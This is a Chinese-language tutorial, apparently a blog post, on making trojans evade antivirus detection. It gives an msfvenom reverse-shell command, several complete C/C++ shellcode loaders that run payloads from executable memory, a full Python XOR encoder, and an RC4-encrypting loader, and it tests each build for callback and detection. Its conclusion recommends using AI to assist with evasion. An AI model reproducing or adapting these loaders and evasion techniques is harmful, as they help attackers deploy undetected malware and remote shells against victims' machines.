简介

免杀(Anti-Virus Evasion)指恶意软件通过特定技术手段绕过杀毒软件的检测。常见方法包括代码混淆、加密、反调试、内存注入等。以下是几种主流免杀技术及实现方式。

一、加壳

加壳(Packing)是一种通过压缩或加密可执行文件(如.exe、.dll)的技术,目的是减小文件体积、保护代码逻辑或规避安全检测。加壳后的程序运行时需先由壳程序解密或解压原始代码到内存中执行。

1.1生成木马

这里使用CS生成

1.2使用吾爱工具加壳

将所需文件直接拖入即可然后点击开始

1.3检验

可以看到木马是过不了的。

思考

现有的加壳技术公开的都肯定是被记录和防御的所以过不了是很正常的。加壳是阻止安全软件进行反编译,有的安全软件会直接将无法反编译的软件识别为病毒。

二、shellcode编译

2.1生成shellcode

cs生成

msf生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.9 LPORT=4444 -f c -o shellcode.c

2.2C语言

这里以visual studio2026为例,创建一个项目的".cpp"源文件。

安装教程:visual studio 2019安装教程(详细的很)_vs2019安装教程-CSDN博客

将以下代码添加至“.cpp”源文件中

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] = "";


void main()
{
	LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (Memory == NULL) {
		return;
	}
	memcpy(Memory, buf, sizeof(buf));
	((void(*)())Memory)();

}

加入我们前面生成的shellcode

unsigned char buf[] = "shellcode";

cs

msf

复制后记得去除  "

生成.exe文件

调试模式要选Release模式Debug容易报错,X86和X64都可以生成看靶机,这里我生成了X86和X64进行实验。

生成的文件地址在这

试一试能不能上线

试试免杀效果

2.3C++

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") 


unsigned char buf[] = "";






int main()

{
  //使用前将“//”去除


  //C语言
  //LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  //if (Memory == NULL) {
		//return;
  //}
  //memcpy(Memory, buf, sizeof(buf));
  //((void(*)())Memory)();   


  //C++
  //char* Memory;
  //   Memory = static_cast<char*>( VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));
  //   memcpy(Memory, buf, sizeof(buf));
  //   ((void(*)())Memory)();



   
   //内联注释
   //__asm {
   //lea eax,buf
   //call eax
   //}
	


    //反编译
	//__asm{
	//mov eax, offset buf
	//_emit 0xFF
	//_emit 0xE0
	//}

}

在相同位置添加shellcode,生成后我们测试一下

2.4内联注释

将注释去掉后同样方法生成

效果

2.5反编译

效果

三、shellcode加密

3.1Hor加密

生成shellcode

利用xor.py生成加密后的shellcode,在xor.py文件下打开cmd

python xor.py -s payload.bin -d payload.c -n 10 -r out. bin

-s文件名

-d生成文件

-n加密方式

-r备份文件

会生成两个文件

可以上线

与shellcode编译方法一样,打开xor_py.cpp进行编译

添加payliad.c的shellcode

效果

代码

xor.py

import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp, dst_raw):
    shellcode = ''
    shellcode_size = 0
    shellcode_raw = b''
    try:
        while True:
            code = src_fp.read(1)
            if not code:
                break

            base10 = ord(code) ^ num
            base10_str = chr(base10)
            shellcode_raw += base10_str.encode()
            code_hex = hex(base10)
            code_hex = code_hex.replace('0x','')
            if(len(code_hex) == 1):
                code_hex = '0' + code_hex
            shellcode += '\\x' + code_hex
            shellcode_size += 1
        src_fp.close()
        dst_raw.write(shellcode_raw)
        dst_raw.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size
    except Exception as e:
        sys.stderr.writelines(str(e))

def main():
    parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: 471656814@qq.com')
    parser.add_argument('-v','--version',nargs='?')
    parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
    parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
    parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
    args = parser.parse_args()
    shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
    sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
    main()

xor_py.cpp

#include <Windows.h>


// 入口函数
int wmain(int argc, TCHAR* argv[]) {

    int shellcode_size = 0; // shellcode长度
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    /* length: 800 bytes */

    unsigned char buf[] = "";
    // 获取shellcode大小
    shellcode_size = sizeof(buf);

    /* 增加异或代码 */
    for (int i = 0; i < shellcode_size; i++) {
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */

    char* shellcode = (char*)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );
    // 将shellcode复制到可执行的内存页中
    CopyMemory(shellcode, buf, shellcode_size);

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
    return 0;
}

3.2Hex加密

将payload文件放至hex相同文件夹下cmd

LoaderMaker.exe payload.bin hex.exe

会生成hex.exe

注意!!!生成后资源管理器会停止运行

详情:从网上下载的安全研究工具,别乱点_从网上下载的安全工具别乱点-CSDN博客

效果

3.3Rc4加密

将CS生成的c语言shellcode添加进去

先点击开始调试

将生成的shellcode复制后再一次粘贴至代码中

点击生成解决方案

测试上线

效果

rc4.cpp

#include <stdio.h>
#include <windows.h>
#include <iostream>
using namespace std;
unsigned char T[256] = { 0 };

int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
	int i = 0, j = 0;

	unsigned char t[256] = { 0 };
	unsigned char tmp = 0;
	for (i = 0; i < 256; i++) {
		s[i] = i;
		t[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++) {
		j = (j + s[i] + t[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}

	for (int i = 0; i < 256; i++)
	{
		T[i] = s[i];
		cout << "0x" << hex << (int)T[i] << ',';
	}
	cout << endl;
	return 0;

}

int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)
{
	int i = 0, j = 0, t = 0;
	unsigned char tmp;
	for (int k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		t = (s[i] + s[j]) % 256;
		buf[k] ^= s[t];
	}
	return 0;
}
unsigned int main()
{
	char key[] = "reverse";
	unsigned char buf[] = "";




	unsigned char s[256];
	rc4_init(s, (unsigned char*)key, strlen(key));
	for (size_t i = 0; i < sizeof(buf); i++)
	{
		rc4_crypt(s, &buf[i], sizeof(buf[i]));
		printf("\\x%02x", buf[i]);
	}
	LPVOID add =
		VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(add, buf, sizeof(buf));
	HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
	WaitForSingleObject(handle, INFINITE);
	return 0;
}

结尾

目前市面上能用的工具基本都已经不能免杀了,最好的免杀就是自己手工,现在AI发展十分发达可以通过AI辅助进行免杀。免杀没有永远只有一段时间,过了时间效果就会大打折扣,所以想要在免杀上深耕的还需要自己认真学习。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐